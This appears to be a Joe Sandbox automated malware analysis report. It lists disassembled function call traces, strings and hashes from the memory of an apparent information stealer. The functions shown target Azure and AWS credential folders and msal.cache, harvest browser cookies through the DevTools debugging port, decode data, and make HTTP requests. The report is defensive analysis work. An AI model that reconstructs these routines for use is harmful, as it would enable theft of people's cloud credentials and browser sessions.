Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,007DA120,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
HeapAlloc.KERNEL32(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,007DD4B0,0042156C,007DD4B0,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Strings

`Q~, xrefs: 0040D006

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID: `Q~
API String ID: 2775534915-2743804444
Opcode ID: b6d0485693e2d2252f7897f91cbdcc8dcf9c3cbe85f18f1d239fb900b47619bd
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: b6d0485693e2d2252f7897f91cbdcc8dcf9c3cbe85f18f1d239fb900b47619bd
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 0249CCF7 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,006D703C,00000000,?,00421544,00000000,?,?), ref: 0249CDD3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0249CDF0
GetFileSize.KERNEL32(00000000,00000000), ref: 0249CDFC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0249CE0F
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0249CE1C
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0249CE40
StrStrA.SHLWAPI(?,006D6BB0,00420B56), ref: 0249CE5E
StrStrA.SHLWAPI(00000000,006D6D64), ref: 0249CE85
StrStrA.SHLWAPI(?,X\~,00000000,?,00421550,00000000,?,00000000,00000000,?,006D6B5C,00000000,?,0042154C,00000000,?), ref: 0249D009
StrStrA.SHLWAPI(00000000,8^~), ref: 0249D020

Part of subcall function 0249CB87: memset.MSVCRT ref: 0249CBBA
Part of subcall function 0249CB87: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0249CBD8
Part of subcall function 0249CB87: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0249CBE3
Part of subcall function 0249CB87: memcpy.MSVCRT(?,?,?), ref: 0249CC79

StrStrA.SHLWAPI(?,8^~,00000000,?,00421554,00000000,?,00000000,006D6ADC), ref: 0249D0C1
StrStrA.SHLWAPI(00000000,006D6FA8), ref: 0249D0D8

Part of subcall function 0249CB87: lstrcat.KERNEL32(?,00420B47), ref: 0249CCAA
Part of subcall function 0249CB87: lstrcat.KERNEL32(?,00420B4B), ref: 0249CCBE
Part of subcall function 0249CB87: lstrcat.KERNEL32(?,00420B4E), ref: 0249CCDF

lstrlen.KERNEL32(00000000), ref: 0249D1AB
CloseHandle.KERNEL32(00000000), ref: 0249D203

Strings

PU~, xrefs: 0249CF07, 0249CF0D
(S~, xrefs: 0249D0EA, 0249D0F0
8^~, xrefs: 0249D015, 0249D01B, 0249D0B4, 0249D0B9
, xrefs: 0249CD2D
X\~, xrefs: 0249CFFB, 0249D001

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID: $(S~$8^~$PU~$X\~
API String ID: 1564132460-3327145799
Opcode ID: 855bc2773a8edbe2702640e8442d81e0a176fb990623bce130120e5cf956bf83
Instruction ID: a4c1dbbe3f203ada0e231235056170ecb260903c7865a2ad6d6cdfa236515786
Opcode Fuzzy Hash: 855bc2773a8edbe2702640e8442d81e0a176fb990623bce130120e5cf956bf83
Instruction Fuzzy Hash: E9E103B1D40128ABCB19EBA5DCA5FEEB77AAF68304F40415EF14667190EF306A49CF50

Function 0040CA90 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,007E5598,00000000,?,00421544,00000000,?,?), ref: 0040CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CBA8
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CBB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CBD9
StrStrA.SHLWAPI(?,007E55F8,00420B56), ref: 0040CBF7
StrStrA.SHLWAPI(00000000,007E5490), ref: 0040CC1E
StrStrA.SHLWAPI(?,007E5C58,00000000,?,00421550,00000000,?,00000000,00000000,?,007DD490,00000000,?,0042154C,00000000,?), ref: 0040CDA2
StrStrA.SHLWAPI(00000000,007E5E38), ref: 0040CDB9

Part of subcall function 0040C920: memset.MSVCRT ref: 0040C953
Part of subcall function 0040C920: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,007DD580), ref: 0040C971
Part of subcall function 0040C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
Part of subcall function 0040C920: memcpy.MSVCRT(?,?,?), ref: 0040CA12

StrStrA.SHLWAPI(?,007E5E38,00000000,?,00421554,00000000,?,00000000,007DD580), ref: 0040CE5A
StrStrA.SHLWAPI(00000000,007DD7B0), ref: 0040CE71

Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

lstrlenA.KERNEL32(00000000), ref: 0040CF44
CloseHandle.KERNEL32(00000000), ref: 0040CF9C

Strings

X\~, xrefs: 0040CD94
8^~, xrefs: 0040CDAE, 0040CE4D
(S~, xrefs: 0040CE83
, xrefs: 0040CAC6
PU~, xrefs: 0040CCA0

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID: $(S~$8^~$PU~$X\~
API String ID: 1564132460-3327145799
Opcode ID: e3b815f954f4efce096b298c247dac07ab2d00bf19db89c535e6d63a30cdb667
Instruction ID: 4fdc336044367871c69213567fe42fce90f61d04e08d5fff212e48b059342ccf
Opcode Fuzzy Hash: e3b815f954f4efce096b298c247dac07ab2d00bf19db89c535e6d63a30cdb667
Instruction Fuzzy Hash: 2AE13E71D05108ABCB14EBA1DCA6FEEB779AF14304F00419EF10663191EF387A99CB69

Function 00411520 Relevance: 33.6, APIs: 13, Strings: 6, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411557
strtok_s.MSVCRT ref: 004119A0

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Strings

@V~, xrefs: 00411691
Pj~, xrefs: 004117B0
XV~, xrefs: 00411721
(V~, xrefs: 0041164A
8_~, xrefs: 004117F8
pV~, xrefs: 00411768

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: (V~$8_~$@V~$Pj~$XV~$pV~
API String ID: 348468850-1875705496
Opcode ID: e52880565d129af28a5f69432b9d54d6fdd3fcd29681398848d849162f015342
Instruction ID: 972b35e280e46cb9f8f2efccef7ae82ad5cc4b0fb079cf0b80f28d4141883f35
Opcode Fuzzy Hash: e52880565d129af28a5f69432b9d54d6fdd3fcd29681398848d849162f015342
Instruction Fuzzy Hash: 98C1D1B5A011089BCB14EF60DC99FDA7379AF58308F00449EF509A7282EB34EAD5CF95

Function 00414FC0 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414FD7

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00415000
lstrcatA.KERNEL32(?,\.azure\), ref: 0041501D

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414B7C
Part of subcall function 00414B60: FindFirstFileA.KERNEL32(?,?), ref: 00414B93

memset.MSVCRT ref: 00415063
lstrcatA.KERNEL32(?,00000000), ref: 0041508C
lstrcatA.KERNEL32(?,\.aws\), ref: 004150A9

Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
Part of subcall function 00414B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
Part of subcall function 00414B60: FindClose.KERNEL32(000000FF), ref: 00414DE2

memset.MSVCRT ref: 004150EF
lstrcatA.KERNEL32(?,00000000), ref: 00415118
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00415135

Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C00
Part of subcall function 00414B60: StrCmpCA.SHLWAPI(?,004208D3), ref: 00414C15
Part of subcall function 00414B60: wsprintfA.USER32 ref: 00414C32
Part of subcall function 00414B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00414C6E
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,007DD700,?,000003E8), ref: 00414C9A
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE0), ref: 00414CAC
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CC0
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,00420FE4), ref: 00414CD2
Part of subcall function 00414B60: lstrcatA.KERNEL32(?,?), ref: 00414CE6
Part of subcall function 00414B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00414CFC
Part of subcall function 00414B60: DeleteFileA.KERNEL32(?), ref: 00414D81

memset.MSVCRT ref: 0041517B

Strings

\.aws\, xrefs: 0041509D
Azure\.IdentityService, xrefs: 0041513B
\.azure\, xrefs: 00415011
\.IdentityService\, xrefs: 00415129
*.*, xrefs: 00415028
Azure\.aws, xrefs: 004150AF
msal.cache, xrefs: 00415140
*.*, xrefs: 004150B4
Azure\.azure, xrefs: 00415023

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 08139e44e5d7f232419ca54b84d5d6bd78c899cf797d15b4c3395f2c57b04096
Instruction ID: 39229561bcf9e6d20be1630849a4938ad9d2aa6361ec20f439e2b4dca26d7b75
Opcode Fuzzy Hash: 08139e44e5d7f232419ca54b84d5d6bd78c899cf797d15b4c3395f2c57b04096
Instruction Fuzzy Hash: 3F41D6B5E4021867DB10F770EC4BFDD33385B60705F40485AB649660D2FEB8A7D88B9A

Function 00409BE0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 141stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00409A50: InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A

memset.MSVCRT ref: 00409C33
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 00409C48
lstrcatA.KERNEL32(?,00000000), ref: 00409C5E
memset.MSVCRT ref: 00409C9A
lstrcatA.KERNEL32(?,cookies), ref: 00409CAF
lstrcatA.KERNEL32(?,004212C4), ref: 00409CC1
lstrcatA.KERNEL32(?,?), ref: 00409CD5
lstrcatA.KERNEL32(?,004212C8), ref: 00409CE7
lstrcatA.KERNEL32(?,?), ref: 00409CFB
lstrcatA.KERNEL32(?,.txt), ref: 00409D0D
lstrlenA.KERNEL32(00000000), ref: 00409D17
lstrlenA.KERNEL32(00000000), ref: 00409D26

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memset.MSVCRT ref: 00409D7E

Strings

/devtools, xrefs: 00409C0B
.txt, xrefs: 00409D01
ws://localhost:9229, xrefs: 00409C3C
cookies, xrefs: 00409CA3
localhost, xrefs: 00409BF5

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 689835475-3542011879
Opcode ID: 0f4eae4b186cbd02d04a961c8613f19afe80490064d29fcc716c48ba3c8a2736
Instruction ID: 9597081ec4872356d8a1e20e182716cfae729ad967be985c4dfb38bd464ab4a8
Opcode Fuzzy Hash: 0f4eae4b186cbd02d04a961c8613f19afe80490064d29fcc716c48ba3c8a2736
Instruction Fuzzy Hash: 74516D71D10518ABCB14EBA0EC55FEE7738AF14306F40456AF106A70D1EB78AA48CF69

Function 024A1862 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 205stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 024A1892

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

Part of subcall function 024A9657: StrStrA.SHLWAPI(\nm,00000000,00000000,?,0249A1D8,00000000,006D6E5C,00000000), ref: 024A9663

lstrcpy.KERNEL32(?,00000000), ref: 024A18CE

Part of subcall function 024A9657: lstrcpyn.KERNEL32(006D7580,\nm,\nm,?,0249A1D8,00000000,006D6E5C), ref: 024A9687
Part of subcall function 024A9657: lstrlen.KERNEL32(00000000,?,0249A1D8,00000000,006D6E5C), ref: 024A969E
Part of subcall function 024A9657: wsprintfA.USER32 ref: 024A96BE

lstrcpy.KERNEL32(?,00000000), ref: 024A1916
lstrcpy.KERNEL32(?,00000000), ref: 024A195E
lstrcpy.KERNEL32(?,00000000), ref: 024A19A5
lstrcpy.KERNEL32(?,00000000), ref: 024A19ED
lstrcpy.KERNEL32(?,00000000), ref: 024A1A35
lstrcpy.KERNEL32(?,00000000), ref: 024A1A7C
lstrcpy.KERNEL32(?,00000000), ref: 024A1AC4

Part of subcall function 024AAD97: lstrlen.KERNEL32(024951BC,?,?,024951BC,00420DDF), ref: 024AADA2
Part of subcall function 024AAD97: lstrcpy.KERNEL32(00420DDF,00000000), ref: 024AADFC

strtok_s.MSVCRT ref: 024A1C07

Strings

Pj~, xrefs: 024A1A17, 024A1A1D
XV~, xrefs: 024A1988, 024A198D
@V~, xrefs: 024A18F8, 024A18FE
(V~, xrefs: 024A18B1, 024A18B6
8_~, xrefs: 024A1A5F, 024A1A64
pV~, xrefs: 024A19CF, 024A19D5

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$FolderPathlstrcpynstrtok_swsprintf
String ID: (V~$8_~$@V~$Pj~$XV~$pV~
API String ID: 4276352425-1875705496
Opcode ID: da86a3651816fd612d9f19635d2e19fbb626f2ddea617614ccf9717b4b52eb80
Instruction ID: 6608c1b1a6acc4f147d295cb0d4407c6cfdd1efd70f4c3dee1c6e0a964c6f8fc
Opcode Fuzzy Hash: da86a3651816fd612d9f19635d2e19fbb626f2ddea617614ccf9717b4b52eb80
Instruction Fuzzy Hash: D77182B2D011189BCB15EB65DCA9EEE737AAF74300F04499EE509A2140EE759B88CF61

Function 02494B37 Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AA1
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AB8
Part of subcall function 02494A67: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494ACF
Part of subcall function 02494A67: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02494AF0
Part of subcall function 02494A67: InternetCrackUrlA.WININET(00000000,00000000), ref: 02494B00

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 02494BCC
StrCmpCA.SHLWAPI(?,006D6E80), ref: 02494BF1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 02494D71
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDE,00000000,?,?,00000000,?,00421AB8,00000000,?,8n~), ref: 0249509F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 024950BB
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 024950CF
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 02495100
InternetCloseHandle.WININET(00000000), ref: 02495164
InternetCloseHandle.WININET(00000000), ref: 0249517C
HttpOpenRequestA.WININET(00000000,006D6E9C,?,e~,00000000,00000000,00400100,00000000), ref: 02494DCC

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

InternetCloseHandle.WININET(00000000), ref: 02495186

Strings

8n~, xrefs: 02494FC1, 02494FC6
}, xrefs: 02494D1E, 02494D24
o~, xrefs: 02494E80, 02494E85
e~, xrefs: 02494DB3, 02494DB9

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: }$8n~$e~$o~
API String ID: 2402878923-993212690
Opcode ID: 4915cdb8ce48543cbc412707aa7bde3cd0b43d09323a8e95c40c05a4a77eff2b
Instruction ID: 80a85b1f2b09fa95a9f5064591c65beed9df06cda15cbc5ce9766bc8fc27c08a
Opcode Fuzzy Hash: 4915cdb8ce48543cbc412707aa7bde3cd0b43d09323a8e95c40c05a4a77eff2b
Instruction Fuzzy Hash: AB12E0B2941228ABCB19EB91DC65FEEB77AAF34701F50459EE14666090EF702F48CF50

Function 024A4737 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 024A4755
memset.MSVCRT ref: 024A476C

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

lstrcat.KERNEL32(?,00000000), ref: 024A47A3
lstrcat.KERNEL32(?,006D6D0C), ref: 024A47C2
lstrcat.KERNEL32(?,?), ref: 024A47D6
lstrcat.KERNEL32(?,@S~), ref: 024A47EA

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024A9187: GetFileAttributesA.KERNEL32(00000000,?,02491DFB,?,?,0042577C,?,?,00420E22), ref: 024A9196

Part of subcall function 0249A697: StrStrA.SHLWAPI(00000000,00421360), ref: 0249A6F0
Part of subcall function 0249A697: memcmp.MSVCRT(?,00421244,00000005), ref: 0249A749

Part of subcall function 0249A377: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0249A3A3
Part of subcall function 0249A377: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0249A3C8
Part of subcall function 0249A377: LocalAlloc.KERNEL32(00000040,?), ref: 0249A3E8
Part of subcall function 0249A377: ReadFile.KERNEL32(000000FF,?,00000000,024916F6,00000000), ref: 0249A411
Part of subcall function 0249A377: LocalFree.KERNEL32(024916F6), ref: 0249A447
Part of subcall function 0249A377: CloseHandle.KERNEL32(000000FF), ref: 0249A451

Part of subcall function 024A97B7: GlobalAlloc.KERNEL32(00000000,024A4894,024A4894), ref: 024A97CA

StrStrA.SHLWAPI(?,hj~), ref: 024A48AA
GlobalFree.KERNEL32(?), ref: 024A49C9

Part of subcall function 0249A477: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,024951A5,00000000,00000000), ref: 0249A4A6
Part of subcall function 0249A477: LocalAlloc.KERNEL32(00000040,?,?,?,024951A5,00000000,?), ref: 0249A4B8
Part of subcall function 0249A477: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,024951A5,00000000,00000000), ref: 0249A4E1
Part of subcall function 0249A477: LocalFree.KERNEL32(?,?,?,?,024951A5,00000000,?), ref: 0249A4F6

Part of subcall function 0249A7C7: memcmp.MSVCRT(?,0042124C,00000003), ref: 0249A7E4

lstrcat.KERNEL32(?,00000000), ref: 024A495A
StrCmpCA.SHLWAPI(?,004208D2), ref: 024A4977
lstrcat.KERNEL32(00000000,00000000), ref: 024A4989
lstrcat.KERNEL32(00000000,?), ref: 024A499C
lstrcat.KERNEL32(00000000,00420FA0), ref: 024A49AB

Strings

@S~, xrefs: 024A47DC, 024A47E2
hj~, xrefs: 024A489D, 024A48A2

Memory Dump Source

